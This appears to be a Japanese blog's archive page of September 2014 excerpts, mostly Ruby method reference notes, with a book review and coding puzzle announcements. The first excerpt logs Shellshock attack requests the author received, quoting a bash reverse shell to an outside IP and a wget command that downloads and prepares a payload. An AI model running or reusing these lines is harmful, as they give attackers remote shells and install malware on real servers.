2014-09-01から1ヶ月間の記事一覧
shellshockの攻撃、こんなん来てた "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'""() { :;}; /bin/bash -c "echo testing9123123"; /bin/uname -a""() { :;}; /bin/bash -c "wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmo…
概要 Object#methods(include_inherited = true) -> [Symbol] 詳細 オブジェクトから呼び出し可能なメソッドの配列を返却。 public, protected のメソッドが対象。 サンプルコード class Hoge def public_hoge; end protected def protected_hoge; end priva…
概要 Object#method(name) -> Method 詳細 オブジェクトのメソッド name をオブジェクト化した Method オブジェクトを返却。 サンプルコード require 'tbpgr_utils' class Hoge def hoge(repeat) 'hoge'*repeat end end hoge_method = Hoge.new.method(:hoge…
概要 Object#is_a?(mod) -> bool Object#kind_of?(mod) -> bool 詳細 オブジェクトが指定されたクラス mod かそのサブクラスのインスタンスであるとき真を返却 サンプルコード require 'tbpgr_utils' class Parent end class Child < Parent end parent = Pa…
概要 Object#instance_variables -> [Symbol] 詳細 オブジェクトのインスタンス変数名をシンボルの配列として返却 サンプルコード class Person attr_reader :name, :age def initialize(options = {name: nil, age: nil} ) @name = options[:name] @age = o…
概要 Object#instance_variable_set(var, value) -> object 詳細 オブジェクトのインスタンス変数に var を設定。 サンプルコード require 'tbpgr_utils' class Person attr_reader :name, :age def initialize(options = {name: nil, age: nil} ) @name = o…
概要 Object#instance_variable_get(var) -> object | nil 詳細 オブジェクトのインスタンス変数の値を取得して返却。 インスタンス変数が定義されていなければ nil を返却。 サンプルコード require 'tbpgr_utils' class Person attr_reader :name, :age de…
概要 Object#instance_of?(klass) -> bool 詳細 オブジェクトがクラス klass の直接のインスタンスである時真を返却。 サンプルコード require 'tbpgr_utils' class Parent end class Child < Parent end parent = Parent.new child = Child.new bulk_puts_e…
概要 Object#inspect -> String 詳細 オブジェクトを人間が読める形式に変換した文字列を返却。 inspect メソッドをオーバーライドしなかった場合、 クラス名・インスタンス 変数名・値の組を元にした文字列を返却。Kernel#p で利用される。 サンプルコード …
概要 Object#__id__ or object_id -> Integer 詳細 オブジェクトのハッシュ値を返却。 Hashクラスで利用。 サンプルコード require 'set' a = "hoge" b = "hoge" # String は eql? が同値チェックになっている p a == b # => true p a.eql? b # => true p a.…
概要 Object#hash -> Fixnum 詳細 オブジェクトのハッシュ値を返却。 Hashクラスで利用。 サンプルコード require 'set' a = "hoge" b = "hoge" # String は eql? が同値チェックになっている p a == b # => true p a.eql? b # => true p a.equal? b # => fa…
概要 Object#frozen? -> bool 詳細 オブジェクトを凍結されているか、真偽値で返却。 サンプルコード a = "before_freeze" p a.frozen? a = "after_freeze" a.freeze p a.frozen? 出力 false true 参照 http://docs.ruby-lang.org/ja/2.0.0/method/Object/i/…
概要 Object#freeze -> self 詳細 オブジェクトを凍結(内容の変更を禁止)する。 凍結したオブジェクトを変更しようとするとRuntimeErrorが発生。 サンプルコード a = "before_freeze" p a.frozen? a = "after_freeze" a.freeze p a.frozen? begin a.gsub!(…
概要 Object#extend(*modules) -> self 詳細 引数で指定したモジュールのインスタンスメソッドを self の特異 メソッドとして追加。 サンプルコード %i(Hige Hage).each do |m| eval " module #{m} def #{m.downcase} '#{m.downcase}' end end " end class H…
概要 Object#eql?(other) -> bool 詳細 Object の Hash の内容を比較して真偽値を返却する。・Hash のキーの比較 ・Array#uniq ・Set の同一性判定などで利用される。 このメソッドをオーバーライドする場合は、 Object#hash も一緒にオーバーライドすること…
概要 Rubyで作る奇妙なプログラミング言語 〜ヘンな言語のつくりかた〜 の書評 構成 1 Esoteric Languageを知る 1-1 Ruby練習問題 1-2 サンプルプログラムに特化した言語、HQ9+ 1-3 8つの命令ですべてを記述する言語、Brainf*ck 1-4 決して印刷できない言語…
概要 Object#to_enum(method = :each, *args) -> Enumerator Object#enum_for(method = :each, *args) -> Enumerator Object#to_enum(method = :each, *args) {|*args| ... } -> Enumerator Object#enum_for(method = :each, *args) {|*args| ... } -> Enume…
概要 Object#display(out = $stdout) -> nil 詳細 オブジェクトを out に出力。 サンプルコード class Person attr_reader :name, :age def initialize(name, age) @name, @age = name, age end def to_s "#{@name}, #{@age}" end end "hoge".display puts "…
概要 Object#clone -> Class 詳細 オブジェクトの複製を返却。 浅い(shallow)コピー。 サンプルコード require 'tbpgr_utils' class Hoge attr_reader :str, :arr def initialize(str, arr) @str, @arr = str, arr end end hoge = Hoge.new("hoge", [*'a'..'…
概要 Object#class -> Class 詳細 レシーバのクラスを返却。 サンプルコード require 'tbpgr_utils' class Hoge end class Child < Hoge end bulk_puts_eval binding, <<-EOS "hoge".class :hoge.class 1.class 1.1.class Hoge.new.class Child.new.class Cl…
概要 Numeric#quo(other) -> Rational | Float | Complex 詳細 self を other で割った商を返却。 div や fdiv との違いは出来るだけ正確な値を返却すること。 有理数になるなら Rational Float, Complex に関わるならそれらを返却する。 サンプルコード p 4…
概要 『呪いの右仮面』問題 詳細 『呪いの右仮面』問題 を2014/09/11〜2014/10/02まで出題します。 https://codeiq.jp/ace/tbpgr/q1026 どんな問題? 未経験の言語でフィボナッチ数列を出力するプログラムを作成する問題です。 経過情報 日次 総人数 正解者…
概要 Numeric#numerator -> Integer 詳細 分子を返却 サンプルコード p 4.numerator p 0.numerator p -4.numerator p 1.5.to_r p 1.5.numerator p 1.5.denominator 出力 $ ruby numeric_numerator.rb 4 0 -4 (3/2) 3 2 参照 http://docs.ruby-lang.org/ja/2.…
概要 Numeric#nonzero? -> self | nil 詳細 自身がゼロの時 nil を返し、非ゼロの時 self を返却。 サンプルコード p 4.nonzero? p 0.nonzero? p -4.nonzero? 出力 $ ruby numeric_nonzero.rb 4 nil -4 参照 http://docs.ruby-lang.org/ja/2.0.0/method/Nume…
概要 Numeric#modulo(other) -> Numeric 詳細 self を other で割っ余 r を返却。 modulo は内部で % を呼び出している。 サンプルコード p 4.modulo(2) p 3.modulo(2) p 2.modulo(3) p 2.modulo(4) 出力 $ ruby numeric_modulo.rb 0 1 2 2 参照 http://docs…
前提 修造言語は orenono gem で作成しました。 orenono gem については下記参照。https://rubygems.org/gems/orenono https://github.com/tbpgr/orenono http://tbpgr.github.io/orenono_slide/#/ 設定ファイル(Orenonofile) # encoding: utf-8 increment "…
概要 Numeric#fdiv(other) -> Float 詳細 self を other で割った整数の商 q を Float で返却。 サンプルコード p 4.fdiv(2) p 3.fdiv(2) p 2.fdiv(3) p 2.fdiv(4) 出力 $ ruby numeric_fdiv.rb 2.0 1.5 0.6666666666666666 0.5 参照 http://docs.ruby-lang.…
概要 Numeric#eql?(other) -> bool 詳細 self と other が同じクラスで同じ値の場合に true を返却します。 同じ値だが異なるサブクラスの場合は false を返却します。 サンプルコード require 'tbpgr_utils' bulk_puts_eval binding, <<-EOS 5.eql?(5) 5.eq…
概要 『第7回デスマコロシアム』問題 QA 詳細 『第7回デスマコロシアム』問題 QAです。 Q1 Q 解答コードの文字数はどのように数えますか?A Byteではなく文字数で数えます。 具体的にはRubyのsizeメソッドで数えます。 Q2 Q ideoneで実行すると、標準出力は…
概要 『第7回デスマコロシアム』問題 詳細 『第7回デスマコロシアム』問題 の参加状況集計です。 https://codeiq.jp/ace/tbpgr_colosseum_manager/q1069 残言語 挑戦者0名の言語は以下です。 Ada Assembler (gcc-4.8.1) AWK (gawk) AWK (mawk) bc C# C++ 4.3…